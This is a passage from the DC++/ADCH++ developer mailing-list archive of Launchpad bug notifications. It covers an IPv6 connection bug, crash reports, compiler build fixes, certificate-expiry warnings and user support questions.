an outgoing connection using a v6 IP address when we have only v4 connectivity. 
  [2022-06-18 08:49]  Possible fix is to check for the current 
connectivity status and choose the right IP before attempting the connection.
  [2022-06-18 08:56]  As we see IPv4 is still the go to connection 
around the network I guess we must make sure such connections work properly. 
This bug can be clearly triggered by receiving a valid ADC command parameter 
from a hub.

  See also https://bugs.launchpad.net/adchpp/+bug/309402 regarding all
  the ipv6 issues. The above linked parts of the code suggest that plans
  in https://bugs.launchpad.net/adchpp/+bug/309402/comments/23 has not
  been implemented yet in DC++.

  The attached patch fixes this issue by using info from
  ConnectivityManager and forces IPv4 address/connection when there's no
  IPv6 connectivity set/detected. Otherwise it does the same as before,
  allowing User::Identity::getIp() to decide what protocol to be
  used/preferred.

  But the question is do we need to care of this at all or just rely on
  what the hub sends... in other words is this kind of safeguard worth
  or needed at all? Or it's useful for a temporary fix until one of the
  few maintained ADC hubs fixes its bug?

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1979900/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1992824] Re: Crash in tabs painting method settings change

[eMTee]

** Description changed:

  Crash happens when you go into tabs page and change to button style using a 
build with MSVS 2022 and MinGW based on GCC 10+.
  Not reproducible in a build made using the official compiler on Win7 / 
classic skin.
- Details in the attached screenshot.
+ Details in the attached screenshot and in https://pastebin.com/0LpQc4ck

** Description changed:

- Crash happens when you go into tabs page and change to button style using a 
build with MSVS 2022 and MinGW based on GCC 10+.
- Not reproducible in a build made using the official compiler on Win7 / 
classic skin.
+ Crash happens when you go into tabs page and change to button style using a 
64-bit build with MSVS 2022 and MinGW based on GCC 10+.
+ Not reproducible in 32 bit builds and in a build made using the official 
compiler (MinGWBuilds GCC 8.1) on Win7 / classic skin.
  Details in the attached screenshot and in https://pastebin.com/0LpQc4ck

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1992824

Title:
  Crash in tabs painting method settings change

Status in DC++:
  New

Bug description:
  Crash happens when you go into tabs page and change to button style using a 
64-bit build with MSVS 2022 and MinGW based on GCC 10+.
  Not reproducible in 32 bit builds and in a build made using the official 
compiler (MinGWBuilds GCC 8.1) on Win7 / classic skin.
  Details in the attached screenshot and in https://pastebin.com/0LpQc4ck

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1992824/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1992824] [NEW] Crash in tabs painting method settings change

[eMTee]

Public bug reported:

Crash happens when you go into tabs page and change to button style using a 
build with MSVS 2022 and MinGW based on GCC 10+.
Not reproducible in a build made using the official compiler on Win7 / classic 
skin.
Details in the attached screenshot.

** Affects: dcplusplus
 Importance: Low
 Assignee: iceman50 (bdcdevel)
 Status: New

** Attachment added: "dcpp-0-880-msvc-crash.png"
   
https://bugs.launchpad.net/bugs/1992824/+attachment/5623979/+files/dcpp-0-880-msvc-crash.png

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1992824

Title:
  Crash in tabs painting method settings change

Status in DC++:
  New

Bug description:
  Crash happens when you go into tabs page and change to button style using a 
build with MSVS 2022 and MinGW based on GCC 10+.
  Not reproducible in a build made using the official compiler on Win7 / 
classic skin.
  Details in the attached screenshot.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1992824/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1494814] Re: Add Visual Studio 2022 support to MSVCProj generation

[eMTee]

Compilation with MSVS 2022 is reported to be possible again with the
attached patch and using the following document change proposals :
https://pastebin.com/raw/v79vg5np

Batch file for MSVC compilation : https://pastebin.com/W231hvNS

** Summary changed:

- Add Visual Studio 2015 support to MSVCProj generation
+ Add Visual Studio 2022 support to MSVCProj generation

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
 Assignee: poy (poy) => iceman50 (bdcdevel)

** Patch added: "MSVCProjFix.diff"
   
https://bugs.launchpad.net/dcplusplus/+bug/1494814/+attachment/5623976/+files/MSVCProjFix.diff

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1494814

Title:
  Add Visual Studio 2022 support to MSVCProj generation

Status in DC++:
  Confirmed

Bug description:
  With the release of VS 2015 it would be nice to get DC++ MSVCProj
  generation to support VS 2015 sln generation for compilation with VS
  2015.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1494814/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1774502] Re: Free GeoIP Database Format Change

[eMTee]

Using https://mailfud.org/geoip-legacy/ databases with the old geoip-c-
api library for the moment. To be reopened wheb this source stops
providing db's with the old format.

** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1774502

Title:
  Free GeoIP Database Format Change

Status in DC++:
  Fix Committed

Bug description:
  "Updated versions of the GeoLite Legacy databases are now only available to 
redistribution license customers, although anyone can continue to download the 
March 2018 GeoLite Legacy builds. Starting January 2, 2019, the last build will 
be removed from our website. GeoLite Legacy database users will need to switch 
to the GeoLite2 or commercial GeoIP databases and update their integrations by 
January 2, 2019."
  https://dev.maxmind.com/geoip/legacy/geolite/

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1774502/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1656337] Re: DC++ crash when running DescriptionRotator plugin

[eMTee]

*** This bug is a duplicate of bug 1970414 ***
https://bugs.launchpad.net/bugs/1970414

** This bug has been marked a duplicate of bug 1970414
   Crash when 'DescriptionRotator.dcext' added

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1656337

Title:
  DC++ crash when running DescriptionRotator plugin

Status in DC++:
  Confirmed

Bug description:
  After installing the DescriptionRotator plugin i was going to add my
  first description and when i pressed OK, DC++ crashed with this
  CrashLog:

  DC++ has crashed on 2017-01-13 at 16:11:01.
  Please report this data to the DC++ team for further investigation.

  DC++ version: DC++ v0.864 ("341276acc708 - 2017-01-09 22:09 +0100")
  TTH: UC56A33VPQ2B7V55ZOXKPRVEVGV27TJBQMIFFMY
  Compiled with MinGW-w64's GCC 6.2.0 (x64)
  Exception code: c005
  Windows version: major = 6, minor = 2, build = 9200, SP = 0, type = 1
  Processors: 8 * x64
  System memory installed: 31,88 GiB
  Writing the stack trace...

  msvcrt: [Failed to load the debugging data into memory (error: 2)] strlen
  DCPlusPlus: 
H:/mingw64/lib/gcc/x86_64-w64-mingw32/6.2.0/include/c++/bits/basic_string.tcc 
(217), function: void/unknown setConfig(char const* guid, char const* setting, 
ConfigValuePtr val, PluginManager* pm)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../pluginsdk/Config.h 
(67), function: void/unknown setConfig(char const* name, string const& const 
value)
  DescriptionRotator-x64: 
e:/dcdev/compiler/mingw64/x86_64-w64-mingw32/include/c++/4.8.0/ext/atomicity.h 
(79), function: void/unknown saveConfig(Plugin* const this)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../src/Plugin.cpp (91), 
function: void/unknown setRules(vector > const rules)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../dwt/include/dwt/widgets/../aspects/../Widget.h
 (274), function: void/unknown _M_invoke(_Any_data const& const __functor)
  DescriptionRotator-x64: 
e:/dcdev/compiler/mingw64/x86_64-w64-mingw32/include/c++/4.8.0/functional 
(2058), function: bool _M_invoke(_Any_data const& const __functor, tagMSG 
const& const __args#0, long long int& const __args#1)
  DescriptionRotator-x64: 
e:/dcdev/compiler/mingw64/x86_64-w64-mingw32/include/c++/4.8.0/bits/stl_list.h 
(155), function: bool handleMessage(Widget* const this, MSG const& const msg, 
LRESULT& const retVal)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../dwt/src/widgets/Control.cpp
 (104)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../dwt/src/Dispatcher.cpp 
(78)
  USER32: [Failed to load the debugging data into memory (error: 2)] 
DispatchMessageW
  USER32: [Failed to load the debugging data into memory (error: 2)] 
CharLowerBuffW
  USER32: [Failed to load the debugging data into memory (error: 2)] 
SendMessageW
  COMCTL32: [Failed to load the debugging data into memory (error: 2)] 
ImageList_SetOverlayImage
  COMCTL32: [Failed to load the debugging data into memory (error: 2)] 
ImageList_SetOverlayImage
  USER32: [Failed to load the debugging data into memory (error: 2)] 
DispatchMessageW
  USER32: [Failed to load the debugging data into memory (error: 2)] 
CallWindowProcW
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../dwt/src/Dispatcher.cpp 
(274), function: LRESULT chain(ChainingDispatcher* const this, MSG const& const 
msg)
  DescriptionRotator-x64: 
E:\DCDev\plugins\DescriptionRotator\projects\make/../../dwt/src/Dispatcher.cpp 
(95)
  USER32: [Failed to load the debugging data into memory (error: 2)] 
DispatchMessageW
  USER32: [Failed to load the debugging data into memory (error: 2)] 
NotifyWinEvent
  DCPlusPlus: H:\Dev\DC++\repo/dwt/src/Application.cpp (217), function: bool 
dispatch(Application* const this, MSG msg)
  DCPlusPlus: H:\Dev\DC++\repo/dwt/src/widgets/ModalDialog.cpp (94), function: 
int show(ModalDialog* const this, Widget* root)
  DCPlusPlus: H:\Dev\DC++\repo/win32/SettingsDialog.cpp (94), function: int 
run(SettingsDialog* const this, void/unknown 
, 
 sizeVal)

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1656337/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1979900] Re: Outgoing connections are attempted on IPv6 on some cases when there's no v6 connectivity

[eMTee]

[2022-09-13 17:50]  it's not necessarily a hub bug depending on how 
their dual-stack connectivity is configured -- there might be configurations 
which might create a synthetic IPv6 address and resolve it by essentially NAT
[2022-09-13 17:51]  Okay but in contrast traditionally DC++ has a 
philosophy that we don't care and do anything undefined if we're presented with 
non-standard or errorous things from peers. It is actually the philosophy of 
the ADC protocol as well.
[2022-09-13 17:52]  well that's partly around user input too, things 
the user can control
[2022-09-13 17:52]  my concern is a bit higher when it's something 
there's not otherwise an end-user workaround for
[2022-09-13 17:52]  The syntax of the values sent through in protocol is 
not checked, either.
[2022-09-13 17:55]  ADC does not permit having both IP's specified. It 
is a possible scenario, question is that is is a legitimate scenario? Hubs 
usually set one IP in the INF, the one where the user connected from.
[2022-09-13 17:55]  Also we are facing a non-standard functionality at 
work here. What's happening is clearly because of HBRI, a currently 
non-standard extension.
[2022-09-13 17:58]  Do we want to correct a scenario what's caused by 
non-standard things, since this scenario can also happen other ways, some of 
them not necessarily breaks the standard. Is it useful to react to these cases?
[2022-09-13 17:59]  If we do it though then DC++ becomes fully 
compatible with an ADC hubsoftware that is still maintained.
[2022-09-13 17:59]  I was wondering about "+ return get(v6 ? 
SettingsManager::INCOMING_CONNECTIONS6 : SettingsManager::INCOMING_CONNECTIONS) 
!= SettingsManager::INCOMING_DISABLED;" -- how does this interact with the 
"auto"/UPnP-type settings
[2022-09-13 18:00]  in terms of whether 
SettingsManager::INCOMING_CONNECTIONS6 and/or 
SettingsManager::INCOMING_CONNECTIONS is defined?
[2022-09-13 18:02]  SettingsManager::INCOMING_CONNECTIONSx is set by 
ConnectivityManager, either based on the settings autodetected (if auto conn 
det is enabled) or based on the manual connectivity settings (if auto conn det 
is disabled)
[2022-09-13 18:04]  The auto detection sets INCOMING_CONNECTIONS6 to 
disabled if connectivity not present or rather when only a local v6 IP is 
available.
[2022-09-13 18:22]  does this issue occur in passive mode too? In 
theory it shouldn't care what its IP addresses are, so it'd be a bit 
conceptually strange for it to affect it that way
[2022-09-13 18:25]  it happens on passive outgoing C-C connections and 
active search respond outgoing connections. The two place, where the changes 
proposed in the code.
[2022-09-13 18:28]  basically if you have v4 connectivity only and the 
I6 field is present, it will attempt to connect to the I6 value. Even if it 
isn't an IP but a garbage, or a local IP.
[2022-09-13 18:45]  some kinds of garbage can't be filtered out 
deterministically/reliably so in those cases sure, trust the IP from the hub. 
Even a local IP from the hub might be correct or useful in some way. So I get 
what you're saying about generally not doing a lot of validation/error 
checking. But if the network interfaces available just do not include IPv6, 
that's not guesswork anymore
[2022-09-13 18:46]  (e.g., a hub on a LAN could genuinely see a local 
address)
[2022-09-13 18:46]  it's just when it creates a situation which cannot 
possibly be useful
[2022-09-13 18:47]  in general, one might figure a hub is incentivized 
to enable C-C connections, search results, etc to work, so I'm not worried 
about incentive alignment
[2022-09-13 18:48]  If the connectivity is set up correctly, manually, 
for LAN usage then this change shouldn't break that.
[2022-09-13 18:48]  Auto conn det has never been able to detect LAN only 
usage so you have to set it up manually anyway.
[2022-09-13 18:48]  that's true, yeah, it's geared towards "external" 
IP
[2022-09-13 18:48]  or externally routable IP
[2022-09-13 18:53]  I also checked the instantiate/destroy of the three 
managers involved and while the order is wrong in most cases, it's impossible 
to call this piece of code with the changes until Client objects created / 
after Client objects destroyed. Those events are well before/after 
instantiating/destroying the 3 managers.
[2022-09-13 18:55]  (UserInfo FastAlloc list is member of the Client 
object)
[2022-09-13 18:55]  (and Clients are created/destroyed at/after 
connecting/closing hubs)
[2022-09-13 20:05:30]  "Do we want to correct a scenario what's caused 
by non-standard things, since this scenario can also happen other ways, some of 
them not necessarily breaks the standard." this is the main reason to respond 
to it, of course
[2022-09-13 20:45:01]  oh, your "relevant parts of the code" are, 
yeah, relevant. They explain it quite well
[2022-09-13 20:53:18]  IMO your patch is an ongoingly useful safeguard 
for an absurd scenario. As you point out, the only 
not-actually-garbage-but-maybe-looks-like-garbage 

[Linuxdcpp-team] [Bug 1981899] [NEW] Certificate verification for DCPlusPlus SelfSigned certificates fails when connecting to some users

[eMTee]

Public bug reported:

...yet the transfer is always allowed and successful in these cases. The
error appears in the system log.

[2022-04-03 14:47]  So I think I figured out the cause of client cert 
expiration warnings appearing for certain users in the log at C-C connection 
time. DC++ generates self signed client certs that are valid for 90 days, 
simply checks for expiration and regenerates the cert if the cert is expired. 
However, if you start your client with a valid cert but it expires *while* the 
client is running then others connecting to you get the message. It can easily 
happen to people who running the client for days/weeks.
[2022-04-03 14:57]  What was confusing that AirDC++ doesn't show this 
message for peers for which DC++ does. It is because they delibarately suppress 
this message if the allowUntrusted setting is on. Moreover they are generating 
certs valid for 1 year and starting to regenerate them at start if the cert is 
about to expire in 90 days. In this approach a client can only have an expired 
self signed cert if it's running for more than 90 days.

[2022-04-05 19:56:29]  And as for the cert findings, okay, why not 
generate longer-lasting certs? I know LE has advocated for the virtues of 
short-lived, renewed certs, but I don't see how that helps much with DC++'s use 
case. There's no cert revocation etc
[2022-04-05 19:56:55]  There'd still be edge cases for people leaving 
clients running longer, but less common
[2022-04-05 20:25:09]  It's not a proper fix, but it's expedient and 
low-risk
[2022-04-06 08:53]  Or leave the certs as is and just silence those 
cryptic error messages for self signed certs by default (when Allow untrusted 
certs for C-C is enabled).
[2022-04-06 10:22]  also reasonable. They're not really working to 
authenticate anyone anyway. Bad crypto protocol design, I guess, but at least 
better not to have spurious warnings as a result
[2022-04-06 10:32]  Yeah I agree and it is also a minimal change.
[2022-04-06 11:16]  and works with already-created 90-day certs, so 
better backwards compatibility

AirDC++'s fix for this issue is in 
https://github.com/airdcpp/airdcpp-windows/blob/8c359424d883ba836b344383c862ba0b386fc30b/airdcpp/airdcpp/CryptoManager.cpp#L504
 but the code there is pretty different / more advanced compared to ours.
Question is where to place this fix in our code or is it useful to get more 
things / all the improvements from there.

** Affects: dcplusplus
 Importance: Low
 Status: Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1981899

Title:
  Certificate verification for DCPlusPlus SelfSigned certificates fails
  when connecting to some users

Status in DC++:
  Confirmed

Bug description:
  ...yet the transfer is always allowed and successful in these cases.
  The error appears in the system log.

  [2022-04-03 14:47]  So I think I figured out the cause of client cert 
expiration warnings appearing for certain users in the log at C-C connection 
time. DC++ generates self signed client certs that are valid for 90 days, 
simply checks for expiration and regenerates the cert if the cert is expired. 
However, if you start your client with a valid cert but it expires *while* the 
client is running then others connecting to you get the message. It can easily 
happen to people who running the client for days/weeks.
  [2022-04-03 14:57]  What was confusing that AirDC++ doesn't show this 
message for peers for which DC++ does. It is because they delibarately suppress 
this message if the allowUntrusted setting is on. Moreover they are generating 
certs valid for 1 year and starting to regenerate them at start if the cert is 
about to expire in 90 days. In this approach a client can only have an expired 
self signed cert if it's running for more than 90 days.

  [2022-04-05 19:56:29]  And as for the cert findings, okay, why not 
generate longer-lasting certs? I know LE has advocated for the virtues of 
short-lived, renewed certs, but I don't see how that helps much with DC++'s use 
case. There's no cert revocation etc
  [2022-04-05 19:56:55]  There'd still be edge cases for people 
leaving clients running longer, but less common
  [2022-04-05 20:25:09]  It's not a proper fix, but it's expedient and 
low-risk
  [2022-04-06 08:53]  Or leave the certs as is and just silence those 
cryptic error messages for self signed certs by default (when Allow untrusted 
certs for C-C is enabled).
  [2022-04-06 10:22]  also reasonable. They're not really working to 
authenticate anyone anyway. Bad crypto protocol design, I guess, but at least 
better not to have spurious warnings as a result
  [2022-04-06 10:32]  Yeah I agree and it is also a minimal change.
  [2022-04-06 11:16]  and works with already-created 90-day certs, so 
better backwards compatibility

  AirDC++'s fix for this issue is in 

Re: [Linuxdcpp-team] [Question #702121]: Showing wrong version Linux

[eMTee]

Question #702121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/702121

eMTee posted a new comment:
You have to compile inside from a valid local checkout to have the call
to mercurial successfully get the revision number during the compilaton.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

Re: [Linuxdcpp-team] [Question #702121]: Showing wrong version Linux

[eMTee]

Question #702121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/702121

eMTee posted a new comment:
Try the dev hub where people with experience of compiation under Linux
may able to help.  adcs://hub.dcbase.org:16591 , ask for registration to
be able to chat.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1978083] Re: Showing wrong version Linux

[eMTee]

You most probably used an older source code or a wrong revision. 
It's best to do a checkout from the repo that guide links in the top and build 
from that - it'll result a correct revision info printed as well.
It shoud show "This hub is running ADCH++ 3.0.1 (r"ec462716f140 - 2022-05-18 
17:50 +0200") Release" then.


** Changed in: adchpp
   Status: New => Invalid

** Converted to question:
   https://answers.launchpad.net/adchpp/+question/702121

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1978083

Title:
  Showing wrong version Linux

Status in ADCH++:
  Invalid

Bug description:
  When i start Adchpp on Linux it shows the wrong version (This hub is
  running ADCH++ 3.0.0 (r"[unknown]") Release), i am running 3.0.1
  compiled fron 3.0.1 sources with this guide
  https://forum.dchublist.org/viewtopic.php?f=29=480

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1978083/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

Re: [Linuxdcpp-team] [Question #702121]: Showing wrong version Linux

[eMTee]

Question #702121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/702121

eMTee posted a new comment:
You most probably used an older source code or a wrong revision. 
It's best to do a checkout from the repo that guide links in the top and build 
from that - it'll result a correct revision info printed as well.
It shoud show "This hub is running ADCH++ 3.0.1 (r"ec462716f140 - 2022-05-18 
17:50 +0200") Release" then.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970414] Re: Crash when 'DescriptionRotator.dcext' added

[eMTee]

A new version is available to download in the plugins repository with
updated libraries, recompiled with a modern compiler which seemingly
fixed the problem.

** Changed in: dcplusplus
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970414

Title:
  Crash when 'DescriptionRotator.dcext' added

Status in DC++:
  Fix Released

Bug description:
  latest DC++ .871 Crash When Add the ADDON : DescriptionRotator.dcext
  its  Erase allready others Add-on on my DC++

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970414/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1976165] Re: Dont see any uploaders, no control in settings either

[eMTee]

Ok let's see it step by step.
- DC++ doesn't have a release 280522 our latest release is 0.871. Please make 
sure you're running DC++ and not some other DC client. Opening the Help / About 
menu may help.
- If you don't see the uploads go to View menu and toggle the Transfer View 
item.
- Upload limiting is in File / Settings / Bandwith Limiting page  or simply 
click to the red icon in the bottom right of the DC++ window.


** Changed in: dcplusplus
   Status: New => Invalid

** Converted to question:
   https://answers.launchpad.net/dcplusplus/+question/701998

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1976165

Title:
  Dont see any uploaders, no control in settings either

Status in DC++:
  Invalid

Bug description:
  Hi,

  When using the latest release 280522 i cant see the ones uploading
  from me. They use all my bandwidht and i cant adjust anything in
  upload with settings in the app. I run win 10 with all updates thru my
  home wifi. I run DC++ in passive mode beacuse i cant do the right
  settings due to my low skills.

  Please help.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1976165/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1956253] Re: OpenSSL-Win64 not found

[eMTee]

** Changed in: adchpp
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1956253

Title:
  OpenSSL-Win64 not found

Status in ADCH++:
  Fix Released

Bug description:
  Generate_certs.cmd should also check for OpenSSL-Win64


  if not exist %SSL% (
 echo OpenSSL isn't found in %SSL%
 set SSL="%PROGRAMFILES%\OpenSSL-Win64\bin\openssl.exe"
  )

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1956253/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1973268] Re: New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things depreciated

[eMTee]

** Changed in: adchpp
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1973268

Title:
  New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things
  depreciated

Status in ADCH++:
  Fix Released

Bug description:
  scons mode=release arch=x64
  scons: Reading SConscript files ...
  AttributeError: 'SConsEnvironment' object has no attribute 'SourceCode':
File "/home/txc/adchpp2/adcpp/SConstruct", line 220:
  env.SourceCode('.', None)[/b]

  
  [2022-05-12 20:13:28]  Removing completely line 220 in SConstruct 
works for now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1973268/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1956253] Re: OpenSSL-Win64 not found

[eMTee]

** Changed in: adchpp
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1956253

Title:
  OpenSSL-Win64 not found

Status in ADCH++:
  Fix Committed

Bug description:
  Generate_certs.cmd should also check for OpenSSL-Win64


  if not exist %SSL% (
 echo OpenSSL isn't found in %SSL%
 set SSL="%PROGRAMFILES%\OpenSSL-Win64\bin\openssl.exe"
  )

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1956253/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1973268] Re: New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things depreciated

[eMTee]

** Changed in: adchpp
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1973268

Title:
  New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things
  depreciated

Status in ADCH++:
  Fix Committed

Bug description:
  scons mode=release arch=x64
  scons: Reading SConscript files ...
  AttributeError: 'SConsEnvironment' object has no attribute 'SourceCode':
File "/home/txc/adchpp2/adcpp/SConstruct", line 220:
  env.SourceCode('.', None)[/b]

  
  [2022-05-12 20:13:28]  Removing completely line 220 in SConstruct 
works for now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1973268/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1973268] Re: New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things depreciated

[eMTee]

[10:56:49]  " This function and its associate factory functions are 
deprecated. There is no replacement. The intended use was to keep a local tree 
in sync with an archive, but in actuality the function only causes the archive 
to be fetched on the first run. Synchronizing with the archive is best done 
external to SCons. / ... /  scons will, by default, fetch files from SCCS or 
RCS subdirectories without explicit configuration. This takes some extra 
processing time to search for the necessary source code management files on 
disk. You can avoid these extra searches and speed up your build a little by 
disabling these searches as follows: / env.SourceCode('.', None)": 
https://scons.org/doc/3.0.5/HTML/scons-man.html
[10:58:46]  Should be safe to remove.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1973268

Title:
  New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things
  depreciated

Status in ADCH++:
  Confirmed

Bug description:
  scons mode=release arch=x64
  scons: Reading SConscript files ...
  AttributeError: 'SConsEnvironment' object has no attribute 'SourceCode':
File "/home/txc/adchpp2/adcpp/SConstruct", line 220:
  env.SourceCode('.', None)[/b]

  
  [2022-05-12 20:13:28]  Removing completely line 220 in SConstruct 
works for now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1973268/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1973268] [NEW] New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things depreciated

[eMTee]

Public bug reported:

scons mode=release arch=x64
scons: Reading SConscript files ...
AttributeError: 'SConsEnvironment' object has no attribute 'SourceCode':
  File "/home/txc/adchpp2/adcpp/SConstruct", line 220:
env.SourceCode('.', None)[/b]


[2022-05-12 20:13:28]  Removing completely line 220 in SConstruct works 
for now.

** Affects: adchpp
 Importance: Medium
 Status: Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1973268

Title:
  New version of scons(4.0.1+dfsg-2) comes with Ubuntu has some things
  depreciated

Status in ADCH++:
  Confirmed

Bug description:
